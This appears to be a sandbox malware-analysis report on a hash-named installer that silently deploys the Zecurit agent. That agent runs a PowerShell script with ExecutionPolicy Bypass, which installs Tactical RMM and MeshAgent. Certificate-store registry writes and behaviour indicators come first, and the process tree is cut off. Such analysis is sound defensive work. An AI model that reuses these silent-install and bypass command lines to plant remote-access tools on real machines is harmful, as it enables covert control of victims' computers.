365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\B68D8F953E551914324E557E6164D68B9926650C ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E\Blob = 59000000010000001a000000450043004400530041002f005300480041003300380034000000190000000100000010000000b009e99a5cfc928a173190106dbb32a95c000000010000000400000080010000530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f007400200047003300000062000000010000002000000031ad6648f8104138c738f39ea4320133393e3a18cc02296ef97c2ac9ef6731d0140000000100000014000000b3db48a4f9a1c5d8ae3641cc1163696229bc4bc61d0000000100000010000000d0ab39edd1a4d89a5512882deb09cb130300000001000000140000007e04de896a3e666d00e687d33ffad93be83d349e0f000000010000003000000082c80199397722b57ad473ea266b93d47ffc77fe07f09388345f20dab6addd087672f988b4bbfd154c4b133c70c9ecff6b000000010000002000000031ad6648f8104138c738f39ea4320133393e3a18cc02296ef97c2ac9ef6731d02000000001000000430200003082023f308201c5a0030201020210055556bcf25ea43535c3a40fd5ab4572300a06082a8648ce3d0403033061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204733301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f742047333076301006072a8648ce3d020106052b8104002203620004dda7d9bb8ab80bfb0b7f21d2f0bebe73f3335d1abc34eadec69bbcd095f6f0ccd00bba615b51467e9e2d9fee8e630c17ec0770f5cf842e40839ce83f416d3badd3a4145936789d0343ee10136c72deae88a7a16bb543ce67dc23ff031ca3e23ea3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414b3db48a4f9a1c5d8ae3641cc1163696229bc4bc6300a06082a8648ce3d0403030368003065023100adbcf26c3f124ad12d39c30a099773f488368c8827bbe6888d5085a763f99e32de66930ff1ccb1098fdd6cabfa6b7fa0023039665bc2648db89e50dca8d549a2edc7dcd1497f1701b8c8868f4e8c882ba89aa98ac5d100bdf854e29ae55b7cb32717 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\3679CA35668772304D30A5FB873B0FA77BB70D54\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000006b00000001000000200000002399561127a57125de8cefea610ddf2fa078b5c8067f4e828290bfb860e84b3c0f000000010000002000000017fe16f394ec70a5bb0c6784cab40b1e61025ae9d50ecaa0531d6b4d997bbc590b000000010000006000000056006500720069005300690067006e00200055006e006900760065007200730061006c00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004200000030403021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000002399561127a57125de8cefea610ddf2fa078b5c8067f4e828290bfb860e84b3c7f0000000100000016000000301406082b0601050507030306082b06010505070301140000000100000014000000b677fa6948479f5312d5c2ea07327607d19707191d0000000100000010000000439b4d52906df7a01771d729528723b37e000000010000000800000000c0032f2df8d6010300000001000000140000003679ca35668772304d30a5fb873b0fa77bb70d54190000000100000010000000ad6d6ff31b24013151f279e26a8c33245c0000000100000004000000000800002000000001000000bd040000308204b9308203a1a0030201020210401ac46421b31321030ebbe4121ac51d300d06092a864886f70d01010b05003081bd310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303820566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79313830360603550403132f566572695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479301e170d3038303430323030303030305a170d3337313230313233353935395a3081bd310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303820566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79313830360603550403132f566572695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100c761375eb10134db62d7159bff585a8c2323d6608e91d79098837ae65819388cc5f6e56485b4a271fbedbdb9dacd4d00b4c82d73a5c76971951f393cb244079ce80efa4d4ac421df29618f32226182c5871f6e8c7c5f16205144d1704f57eae31ce3cc79ee58d80ec2b34593c02ce79a172b7b00377a413378e133e2f3101a7f872cbef6f5f742e2e5bf8762895f004bdfc5dde4754432413a1e716e69cb0b754608d1cad22b95d0cffbb9406b648c574dfc13117984ed5e54f6349f0801f3102506174adaf11d7a666b986066a4d9efd22e82f1f0ef09ea44c9156ae2036e33d3ac9f5500c7f6086a94b95fdce033f18460f95b2711b4fc16f2bb566a80258d0203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e04160414b677fa6948479f5312d5c2ea07327607d1970719300d06092a864886f70d01010b050003820101004af8f8b003e62c677be4947763cc6e4cf97d0e0ddcc8b935b9704f63fa24fa6c838c479d3b63f39af976329591b177bcac9abeb1e43121c68195565a0eb1c2d4b1a659acf163cbb84c1d59904aef9016281f5aae10fb8150380c6cccf13dc3f563e3b3e321c92439e9fd156646f41b11d04d73a37d46f93deda85f62d4f13ff8e074572b189d81b4c428da9497a570ebac1dbe0711f0d5dbdde58cf0d532b083e657e28fbfbea1aabf3d1db5d438ead7b05c3a4f6a3f8fc0666c63aae9d9a416f481d195140e7dcd9534d9d28f7073817b9c7ebd9861d845879890c5eb8630c635bff0ffc35588834bef05920671f2b89893b7eccd8261f138e64f97982a5a8d ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\2C85006A1A028BCC349DF23C474724C055FDE8B6 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\2C85006A1A028BCC349DF23C474724C055FDE8B6\Blob = 5900000001000000120000004400530041002f00530048004100310000000300000001000000140000002c85006a1a028bcc349df23c474724c055fde8b620000000010000001f0300003082031b308202dba003020102020900bea900b78b6470ef300906072a8648ce38040330233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579301e170d3136303530393230343035355a170d3231303530383230343035355a30233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579308201b73082012c06072a8648ce3804013082011f02818100a9a733a14a9c9d68b075811ddf231c514c0cdc328087287fd11f1d6eb125b536b88cd5579591bb6e7545b45b98eaa8cdeb0ae38be4781c7d36d97b3d2bb45b9449142130f68e112c6d09e343160cd0d0fbb8aabc8b0cea5b2066b0e3368589dadfd8ae79e9d2bdc5f5836d8fb278be02c260d3a592bda471f1a28e2f925e8b57021500a86236ce56c046d8f3fac8a6bb63e28543e45753028181009eb2085cfbe32af5a25dddeebdeede0d2f2a4475bbca802c7952e078421b4b85528fff6242aba7c75c1e40695db3be422d982972b638679c1b9314a39cad44577d2a71ee3e5738176062d9200be5efcc1b00c16b1b48e8b1771c01b9aa54ce0b5f6679caed531293d92ef822695e20264e23b188489ea3e6dc1c36a90fa0668903818400028180168cdc3d074cf4c9accef116317b85adf100f2454c9ca23203ad296928bb08879c48096c44bcb0dc3f49f69456e871dd45980eacabe735c63ade0281e7a48aca3eabde71aab64c04a6ef72c352be936692c8970a3c7615370d549b931c289810278f5284914f6965df0d93ce0a980ca5dce26e75a331c4da939af3e051d252d3a38198308195301d0603551d0e04160414a353ea5503cd0a69c45870b6ffe3912091c79f7a30530603551d23044c304a8014a353ea5503cd0a69c45870b6ffe3912091c79f7aa127a42530233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579820900bea900b78b6470ef30120603551d130101ff040830060101ff020100300b0603551d0f0404030201c6300906072a8648ce380403032f00302c021468e7a7cdfca81ff04d476fa11b781b7696d1fbf402145ef1c64374ebde4c309b59a9deeb99e556fd1477 ZecuritAgentAssetMgr.exe - Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
pid Process 4344 PING.EXE - Suspicious behavior: EnumeratesProcesses 59 IoCs
pid Process 4768 msiexec.exe 4768 msiexec.exe 4180 ZecuritAgentRegister.exe 4180 ZecuritAgentRegister.exe 2428 ZecuritAgentService.exe 2428 ZecuritAgentService.exe 6016 ZecuritCommandProcessor.exe 6016 ZecuritCommandProcessor.exe 6016 ZecuritCommandProcessor.exe 6016 ZecuritCommandProcessor.exe 2428 ZecuritAgentService.exe 2428 ZecuritAgentService.exe 2428 ZecuritAgentService.exe 2428 ZecuritAgentService.exe 2428 ZecuritAgentService.exe 2428 ZecuritAgentService.exe 2428 ZecuritAgentService.exe 2428 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 6016 ZecuritCommandProcessor.exe 6016 ZecuritCommandProcessor.exe 2220 powershell.exe 2220 powershell.exe 2220 powershell.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 5812 powershell.exe 5812 powershell.exe 5812 powershell.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 2544 tacticalrmm.exe 5764 tacticalrmm.exe 3092 powershell.exe 3092 powershell.exe 3092 powershell.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 5764 tacticalrmm.exe 5764 tacticalrmm.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2004 msiexec.exe Token: SeIncreaseQuotaPrivilege 2004 msiexec.exe Token: SeSecurityPrivilege 4768 msiexec.exe Token: SeCreateTokenPrivilege 2004 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2004 msiexec.exe Token: SeLockMemoryPrivilege 2004 msiexec.exe Token: SeIncreaseQuotaPrivilege 2004 msiexec.exe Token: SeMachineAccountPrivilege 2004 msiexec.exe Token: SeTcbPrivilege 2004 msiexec.exe Token: SeSecurityPrivilege 2004 msiexec.exe Token: SeTakeOwnershipPrivilege 2004 msiexec.exe Token: SeLoadDriverPrivilege 2004 msiexec.exe Token: SeSystemProfilePrivilege 2004 msiexec.exe Token: SeSystemtimePrivilege 2004 msiexec.exe Token: SeProfSingleProcessPrivilege 2004 msiexec.exe Token: SeIncBasePriorityPrivilege 2004 msiexec.exe Token: SeCreatePagefilePrivilege 2004 msiexec.exe Token: SeCreatePermanentPrivilege 2004 msiexec.exe Token: SeBackupPrivilege 2004 msiexec.exe Token: SeRestorePrivilege 2004 msiexec.exe Token: SeShutdownPrivilege 2004 msiexec.exe Token: SeDebugPrivilege 2004 msiexec.exe Token: SeAuditPrivilege 2004 msiexec.exe Token: SeSystemEnvironmentPrivilege 2004 msiexec.exe Token: SeChangeNotifyPrivilege 2004 msiexec.exe Token: SeRemoteShutdownPrivilege 2004 msiexec.exe Token: SeUndockPrivilege 2004 msiexec.exe Token: SeSyncAgentPrivilege 2004 msiexec.exe Token: SeEnableDelegationPrivilege 2004 msiexec.exe Token: SeManageVolumePrivilege 2004 msiexec.exe Token: SeImpersonatePrivilege 2004 msiexec.exe Token: SeCreateGlobalPrivilege 2004 msiexec.exe Token: SeBackupPrivilege 3352 vssvc.exe Token: SeRestorePrivilege 3352 vssvc.exe Token: SeAuditPrivilege 3352 vssvc.exe Token: SeBackupPrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeTakeOwnershipPrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeTakeOwnershipPrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeTakeOwnershipPrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeTakeOwnershipPrivilege 4768 msiexec.exe Token: SeBackupPrivilege 4632 srtasks.exe Token: SeRestorePrivilege 4632 srtasks.exe Token: SeSecurityPrivilege 4632 srtasks.exe Token: SeTakeOwnershipPrivilege 4632 srtasks.exe Token: SeBackupPrivilege 4632 srtasks.exe Token: SeRestorePrivilege 4632 srtasks.exe Token: SeSecurityPrivilege 4632 srtasks.exe Token: SeTakeOwnershipPrivilege 4632 srtasks.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeTakeOwnershipPrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeTakeOwnershipPrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeTakeOwnershipPrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeTakeOwnershipPrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe Token: SeTakeOwnershipPrivilege 4768 msiexec.exe Token: SeRestorePrivilege 4768 msiexec.exe - Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 1908 7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.tmp 2004 msiexec.exe 2004 msiexec.exe 2648 ZecuritAgentTray.exe 3056 tacticalagent-v2.11.0-windows-amd64.tmp - Suspicious use of SendNotifyMessage 1 IoCs
pid Process 2648 ZecuritAgentTray.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2004 msiexec.exe 4768 msiexec.exe 4536 MsiExec.exe - Suspicious use of WriteProcessMemory 40 IoCs
description pid Process procid_target PID 4792 wrote to memory of 1908 4792 7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.exe 90 PID 1908 wrote to memory of 4260 1908 7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.tmp 91 PID 1908 wrote to memory of 2004 1908 7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.tmp 93 PID 4768 wrote to memory of 4632 4768 msiexec.exe 99 PID 4768 wrote to memory of 4536 4768 msiexec.exe 101 PID 4768 wrote to memory of 3120 4768 msiexec.exe 103 PID 3120 wrote to memory of 4808 3120 InstallUninstallApp.exe 104 PID 3120 wrote to memory of 4180 3120 InstallUninstallApp.exe 106 PID 2428 wrote to memory of 3024 2428 ZecuritAgentService.exe 113 PID 2428 wrote to memory of 6016 2428 ZecuritAgentService.exe 114 PID 6016 wrote to memory of 5768 6016 ZecuritCommandProcessor.exe 119 PID 6016 wrote to memory of 5624 6016 ZecuritCommandProcessor.exe 120 PID 6016 wrote to memory of 2220 6016 ZecuritCommandProcessor.exe 125 PID 1000 wrote to memory of 4388 1000 ZecuritAgentService.exe 127 PID 1000 wrote to memory of 3812 1000 ZecuritAgentService.exe 129 PID 1000 wrote to memory of 2648 1000 ZecuritAgentService.exe 131 PID 5624 wrote to memory of 4800 5624 ZecuritAgentAssetMgr.exe 132 PID 5624 wrote to memory of 5812 5624 ZecuritAgentAssetMgr.exe 133 PID 5624 wrote to memory of 5208 5624 ZecuritAgentAssetMgr.exe 134 PID 1000 wrote to memory of 2336 1000 ZecuritAgentService.exe 136 PID 1000 wrote to memory of 2432 1000 ZecuritAgentService.exe 138 PID 2220 wrote to memory of 1064 2220 powershell.exe 140 PID 1064 wrote to memory of 3056 1064 tacticalagent-v2.11.0-windows-amd64.exe 141 PID 3056 wrote to memory of 4744 3056 tacticalagent-v2.11.0-windows-amd64.tmp 142 PID 4744 wrote to memory of 4344 4744 cmd.exe 144 PID 4744 wrote to memory of 1116 4744 cmd.exe 145 PID 1116 wrote to memory of 5884 1116 net.exe 146 PID 3056 wrote to memory of 5472 3056 tacticalagent-v2.11.0-windows-amd64.tmp 147 PID 5472 wrote to memory of 700 5472 cmd.exe 149 PID 3056 wrote to memory of 3616 3056 tacticalagent-v2.11.0-windows-amd64.tmp 150 PID 3616 wrote to memory of 2544 3616 cmd.exe 152 PID 3056 wrote to memory of 3492 3056 tacticalagent-v2.11.0-windows-amd64.tmp 153 PID 3492 wrote to memory of 1808 3492 cmd.exe 155 PID 1808 wrote to memory of 3276 1808 net.exe 156 PID 2220 wrote to memory of 5764 2220 powershell.exe 157 PID 5764 wrote to memory of 2536 5764 tacticalrmm.exe 159 PID 5032 wrote to memory of 3092 5032 MeshAgent.exe 161 PID 5764 wrote to memory of 5984 5764 tacticalrmm.exe 163 PID 5032 wrote to memory of 3580 5032 MeshAgent.exe 164 PID 1000 wrote to memory of 4452 1000 ZecuritAgentService.exe 166 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.exe"C:\Users\Admin\AppData\Local\Temp\7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4792 -
C:\Users\Admin\AppData\Local\Temp\is-3QLC8.tmp\7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.tmp"C:\Users\Admin\AppData\Local\Temp\is-3QLC8.tmp\7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.tmp" /SL5="$40178,21491936,832512,C:\Users\Admin\AppData\Local\Temp\7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Users\Admin\AppData\Local\Temp\is-H378T.tmp\_isetup\_setup64.tmphelper 105 0x4603⤵
- Executes dropped EXE
PID:4260
-
-
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Windows\TEMP\ZecuritAgentInstaller.msi" /qb3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2004
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4632
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CAC4F85BB0CF79BDD06B9B2AF2C8E8EE2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4536
-
-
C:\Program Files\Zecurit\InstallUninstallApp.exe"C:\Program Files\Zecurit\InstallUninstallApp.exe" install2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3120 -
C:\Program Files\Zecurit\7za.exe7za.exe x "C:\Program Files\Zecurit\Agent.7z" -o"C:\Program Files\Zecurit"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:4808
-
-
C:\Program Files\Zecurit\Agent\ZecuritAgentRegister.exe"C:\Program Files\Zecurit\Agent\ZecuritAgentRegister.exe" install3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4180
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3352
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵PID:4000
-
C:\Program Files\Zecurit\Agent\ZecuritAgentService.exe"C:\Program Files\Zecurit\Agent\ZecuritAgentService.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Program Files\Zecurit\Agent\ZecuritLiveNotifier.exe"C:\Program Files\Zecurit\Agent\\ZecuritLiveNotifier.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
PID:3024
-
-
C:\Program Files\Zecurit\Agent\ZecuritCommandProcessor.exe"C:\Program Files\Zecurit\Agent\\ZecuritCommandProcessor.exe" refresh2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6016 -
C:\Program Files\Zecurit\Agent\ZecuritAgentAssetMgr.exeZecuritAgentAssetMgr.exe -cmdID 229250 -cmdType PatchScanDetails -cmdVer 1.0 -reqTime 1792211230985 -scanLevel FULL -queries AllPatch&PortInfo3⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
PID:5768
-
-
C:\Program Files\Zecurit\Agent\ZecuritAgentAssetMgr.exeZecuritAgentAssetMgr.exe -cmdID 229249 -cmdType DeviceScanDetails -cmdVer 1.0 -reqTime 1792211230941 -scanLevel FULL -queries DeviceInformation&InstalledSoftwareList&HardwareList&Certificates&system&security&Location&Warranty&DiskInfo3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:5624 -
C:\Program Files\Zecurit\Agent\ZecuritAgentWinStore.exeZecuritAgentWinStore.exe GetStoreApps4⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:4800
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Program Files\Zecurit\Agent\GetWinGetSoftwares.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5812
-
-
C:\Program Files\Zecurit\Agent\ZecuritGeoLocationApp.exeZecuritGeoLocationApp.exe location_scan4⤵
- Executes dropped EXE
PID:5208
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Program Files\Zecurit\Agent\Storage\Profiles\2673\2784_rmm-merl33nrmm-main-server(1).ps1"3⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\TEMP\tacticalagent-v2.11.0-windows-amd64.exe"C:\Windows\TEMP\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1064 -
